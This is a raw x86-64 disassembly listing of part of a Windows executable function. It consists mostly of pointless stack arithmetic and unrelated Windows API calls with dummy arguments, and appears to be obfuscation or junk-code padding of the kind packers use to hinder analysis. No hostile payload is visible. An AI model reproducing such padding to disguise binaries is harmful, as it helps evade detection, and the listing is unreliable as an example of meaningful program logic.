call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x1a9c], eax
movsx eax, word [rsp + 0x4dc]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4c4], ax
mov rcx, qword [rsp + 0x38c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
sub rcx, rax
mov rax, rcx
mov qword [0x1400c9018], rax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ab0], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1978], eax
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x19e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x3930], rax
mov rax, qword [rsp + 0x38e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov rcx, qword [rsp + 0x38c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov rcx, qword [0x1400c9e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov dword [rsp + 0x10ad0], 0x11c
cmp dword [rsp + 0x1988], 0xe2e1
jne 0x1400085c1
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
sar eax, cl
movsx ecx, word [rsp + 0x4c4]
mov dword [rsp + 0x1b00], ecx
mov rdx, qword [rsp + 0x3870]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1b00]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1400089b2
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
add ecx, eax
mov eax, ecx
mov dword [0x1400c9004], eax
jmp 0x140008ac7
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rsp + 0x3818]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140008ac7
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0x3938], rax
cmp qword [rsp + 0x3938], 0
je 0x1400089fb
jmp 0x140008a48
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x3940], rax
mov rax, qword [rsp + 0x38e8]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x38e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3748]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
jmp 0x140008ac7
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x4d4]
movzx edx, word [rsp + 0x4f0]
sub ecx, edx
cmp eax, ecx
jg 0x140008a8a
mov cx, 0xbd
call qword [sym.imp.USER32.dll_VkKeyScanW]
mov word [rsp + 0x4e4], ax
jmp 0x140008ac7
lea rdx, [rsp + 0x3948]
mov rcx, qword [rsp + 0x3950]
call qword [sym.imp.USER32.dll_GetTitleBarInfo]
mov dword [rsp + 0x1af8], eax
mov r8d, 0xdf
mov edx, 0xa7
mov rcx, qword [rsp + 0x3958]
call qword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d0]
and eax, ecx
movzx ecx, word [rsp + 0x4d4]
mov rdx, qword [rsp + 0x3820]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x140008b27
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3870]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [rsp + 0x4c4]
mov dword [rsp + 0x1b04], ecx
movsx edx, word [rsp + 0x4dc]
movzx ecx, dl
mov edx, dword [rsp + 0x1b04]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400a65f2
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov dword [0x1400c9ea0], eax
lea rax, [rsp + 0x1980]
mov qword [rsp + 0x3960], rax
mov rax, qword [rsp + 0x3890]
mov ecx, dword [0x1400c9004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x19cc], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1ad4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov rdx, qword [rsp + 0x3890]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x140008c12
mov rax, qword [rsp + 0x3940]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x3730]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x4f0]
mov rax, qword [rsp + 0x37b0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x3868]
movzx ecx, byte [rax]
call fcn.1400a87f0
jmp 0x140008d29
mov rax, qword [rsp + 0x3940]
mov rax, qword [rax]
mov qword [rsp + 0x3968], rax
movabs rax, 0x777b7bdd586a81
cmp qword [rsp + 0x3968], rax
je 0x140008c3e
jmp 0x140008d29
mov rax, qword [rsp + 0x3638]
mov rcx, qword [rsp + 0x3890]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1a80]
mov edx, dword [rsp + 0x1994]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140008d29
mov rax, qword [0x1400c9018]
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
lea r9, [rsp + 0x1a3c]
mov r8d, 0xb8
lea rdx, [rsp + 0x36a8]
mov rcx, qword [rsp + 0x3778]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x1acc], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3940]
mov qword [rsp + 0x3970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3970]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov rax, qword [0x1400c9e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x55], al
mov r9, qword [0x1400c9018]
movzx r8d, byte [rsp + 0x50]
movzx edx, word [rsp + 0x4c8]
mov rax, qword [rsp + 0x38c0]
movzx ecx, word [rax]
call fcn.1400a8030
lea rax, [rsp + 0x4c4]
mov qword [rsp + 0x3978], rax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1400c9e98]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x52]
xor ecx, edx
cmp eax, ecx
jl 0x140008e58
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
mov dword [rsp + 0x1b08], eax
cmp dword [rsp + 0x1b08], 0xb39
je 0x140008dbe
jmp 0x140008e56
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x3940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3838]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38a8], rax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1978], eax
lea rax, [rsp + 0x3680]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x3980]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x30
mov r9d, 0xbc
mov r8d, 0xe5
mov edx, 0x5f
mov rcx, qword [rsp + 0x35c8]
call qword [sym.imp.USER32.dll_TrackPopupMenu]
mov dword [rsp + 0x1a44], eax
jmp 0x140008e9d
mov rax, qword [rsp + 0x3960]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1978]
mov edx, dword [rsp + 0x19bc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140008e9d
mov eax, dword [rsp + 0x1af4]
mov ecx, dword [rsp + 0x1ad4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f97
mov r9d, 0x8b
mov r8d, 0xb40a5984
mov edx, 1
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x1a10], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [0x1400c9e98]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
lea rdx, [rsp + 0xe480]
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
sar eax, cl
mov word [rsp + 0x4cc], ax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1b0c], eax
movzx eax, byte [0x1400c9e90]
movzx ecx, byte [rsp + 0x55]
and eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x3890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3940]
mov rcx, qword [rsp + 0x3608]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3960]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4e4]
movsx ecx, word [rsp + 0x4dc]
and eax, ecx
mov word [rsp + 0x4c4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov r9d, 1
xor r8d, r8d
mov edx, 0x6cf8
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a68], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x4dc]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x19bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x38e0]
mov qword [rsp + 0x3988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3988]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3838]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1af4]
mov rcx, qword [rsp + 0x3890]
mov qword [rsp + 0x3990], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3990]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x38c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1aa8]
add eax, 0x22
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3870]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4dc], ax
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1400c9e90], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ab0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
cmp dword [rsp + 0x1aa8], 0xfe1b
jne 0x140008e9d
cmp dword [rsp + 0x1a0c], 0x597e
jb 0x14000976e
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x3748]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38e0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19f0], eax
mov rcx, qword [rsp + 0x37a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov word [rsp + 0x4d4], ax
movsx eax, word [rsp + 0x4dc]
movsx ecx, word [rsp + 0x4e4]
shl eax, cl
mov word [rsp + 0x4c4], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
xor eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [0x1400c9018]
mov rcx, qword [rsp + 0x37b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x1978]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3940]
mov rcx, qword [0x1400c9010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov rcx, qword [rsp + 0x38c0]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1f97
mov r8d, 0x8b
mov edx, 0x65
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x1a98], eax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x1afc], eax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3978]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4e4], ax
movzx eax, byte [0x1400c9e90]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0x1a0c]
sub eax, 0x25
mov dword [rsp + 0x1a0c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1400c9ea0], eax
mov dword [rsp + 0x10bf0], 0x11c
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x37b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3940]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x38a8]
shl rax, cl
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3890]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1af4]
shr eax, cl
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4dc]
add eax, ecx
mov word [rsp + 0x4e4], ax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4f0]
and eax, ecx
mov word [rsp + 0x4d4], ax
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4dc], ax
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4cc], ax
movsx eax, byte [0x1400c9e91]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
lea rdx, [rsp + 0xe448]
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1a10], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x38a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1b0c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov eax, dword [rsp + 0x1a80]
mov ecx, dword [rsp + 0x1af4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ab0], eax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
and eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x3908], rax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
shl eax, cl
mov word [rsp + 0x4e4], ax
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [0x1400c9e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
jmp 0x14000929b
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x4e4]
movsx edx, word [section..data]
sub ecx, edx
cmp eax, ecx
je 0x1400097a8
movzx ecx, word [rsp + 0x4c4]
call fcn.1400a7ed0
cmp dword [rsp + 0x1ab4], 0x9c33
je 0x140009c96
movzx ecx, word [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4f4], ax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
and ecx, eax
mov eax, ecx
mov dword [0x1400c9ea0], eax
mov rax, qword [rsp + 0x3890]
mov rcx, qword [rsp + 0x3638]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3748]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov eax, dword [rsp + 0x1ab4]
add eax, 0x46
mov dword [rsp + 0x1ab4], eax
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4cc], ax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [0x1400c9e91]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4d4]
xor eax, ecx
mov word [0x1400c9008], ax
mov rax, qword [rsp + 0x3838]
movzx ecx, al
mov rax, qword [rsp + 0x3608]
shl rax, cl
mov qword [rsp + 0x38a8], rax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [0x1400c9018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x19ec], eax
lea rcx, [rsp + 0xdd28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1980]
sar eax, cl
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3890]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
and eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [0x1400c9e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x3648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3838]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [0x1400c9004]
movzx ecx, al
mov eax, dword [rsp + 0x1af4]
shr eax, cl
mov dword [rsp + 0x1ad4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x3998], rax
movzx eax, word [rsp + 0x4cc]
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4d0], ax
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x1a90], eax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x53]
or eax, ecx
mov byte [rsp + 0x51], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
and eax, ecx
